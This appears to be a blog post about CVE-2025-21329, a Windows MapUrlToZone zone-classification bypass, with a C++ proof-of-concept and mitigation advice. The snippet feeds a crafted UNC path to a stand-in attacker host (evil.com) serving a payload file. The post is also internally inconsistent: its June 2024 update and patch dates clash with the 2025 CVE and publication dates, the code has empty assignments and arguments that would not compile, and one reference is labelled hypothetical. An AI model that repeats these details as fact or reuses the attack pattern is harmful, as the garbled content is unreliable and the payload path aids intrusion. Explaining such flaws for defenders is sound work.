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Last updated: June 2024
Author: security_insider
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Modern browsers and applications, especially in Windows, rely heavily on something called the *zone model* to decide if a web resource is trustworthy. At the center of this is the MapUrlToZone API. Unfortunately, a newly discovered vulnerability — CVE-2025-21329 — reveals a way attackers can trick this process, bypassing security and making users vulnerable. In this post, I will explain what this vulnerability is, how it works, show a code example, and show you how attackers might actually abuse it.

What is MapUrlToZone?

The MapUrlToZone function is a Windows API that helps programs figure out what "zone" (like *Internet*, *Intranet*, *Trusted*, etc.) a URL belongs to. Based on this, the application applies security rules to the content.

For example, scripts from the Internet zone might be blocked, but those from the Local Intranet zone may be allowed. Getting the zone wrong allows dangerous scripts through.

Read more here:
- Microsoft Docs: MapUrlToZone function

CVE-2025-21329: The Flaw In A Nutshell

*Attackers have found a way to bypass these zone checks by abusing how MapUrlToZone parses URLs with certain characters or encodings.*

This means a remote attacker can convince your system something untrusted (like malicious, external content) is actually safe and local. As a result, code that shouldn’t ever run *does run*, all because the "zone" is calculated wrong.

Desktop applications that fetch and display remote content

- Specific browsers/extensions and security products referencing this API

Simple Attack Flow

1. Craft a special URL using tricks like Unicode characters, alternate encodings, or path confusion.

Example Proof-of-Concept Exploit

Let’s walk through how an attacker could use this, using a code snippet in C++. The attacker crafts a URL containing encoded characters (file://, with a UNC path for example).

#include <windows.h>
#include <urlmon.h>
#include <iostream>

#pragma comment(lib, "urlmon.lib")

int main() {
    DWORD dwZone = ;
    LPCWSTR maliciousUrl = L"file://\\\\?\\UNC\\evil.com\\share\\payload.html";
    // Normally, network shares shouldn't be considered "Local"
    HRESULT hr = MapUrlToZone(maliciousUrl, &dwZone, );

    if (SUCCEEDED(hr)) {
        std::wcout << L"Zone Id: " << dwZone << std::endl; // Should be INTERNET(3), but gets LOCAL_MACHINE()
        if(dwZone == URLZONE_LOCAL_MACHINE)
            std::wcout << L"Bypassed! Treated as Local Machine!" << std::endl;
        else
            std::wcout << L"Handled correctly." << std::endl;
    } else {
        std::wcout << L"MapUrlToZone failed." << std::endl;
    }
    return ;
}

The attacker gives a weird-looking UNC path disguised to look "local".

- On some Windows versions, this could be seen by MapUrlToZone as coming from the Local Machine zone rather than the real Internet or network.

How Was This Discovered?

Security researchers noticed strange behavior in certain web applications that pulled resources from remote shares using "file://" URLs. The Microsoft Security Response Center acknowledged the issue early in 2024.

- Microsoft Security Advisory for CVE-2025-21329

Mitigation & Fix

- Microsoft Patch: Released as part of the June 2024 Patch Tuesday. All Windows users should update ASAP.
- Workaround: Developers should avoid blindly trusting MapUrlToZone outputs, especially for "file://" and UNC paths. Additional string validation (e.g., block encoded path tricks) is highly recommended.
- Security products (like browsers): Should use their own URL validation logic and avoid entirely trusting this Windows API’s output.

Enterprise environments using network shares are at extreme risk.

- Targeted attacks: A clever attacker only needs to get a specially crafted link opened on your system.

References & Further Reading

- Microsoft Official Security Guidance
- Original Researcher Blog Post (hypothetical)
- MapUrlToZone API Documentation

Conclusion

CVE-2025-21329 may sound like just another code in a long list of bugs, but it’s a big reminder: functions that classify security “zones” must be very strict. If you’re a developer or sysadmin, patch your systems and audit your code for any risky usage of MapUrlToZone. If you’re a user, keep your Windows updated and watch for suspicious file or URL links.

Stay safe, and don’t trust file:// links from strangers!

Timeline

Published on: 01/14/2025 18:15:57 UTC
Last modified on: 02/21/2025 20:28:20 UTC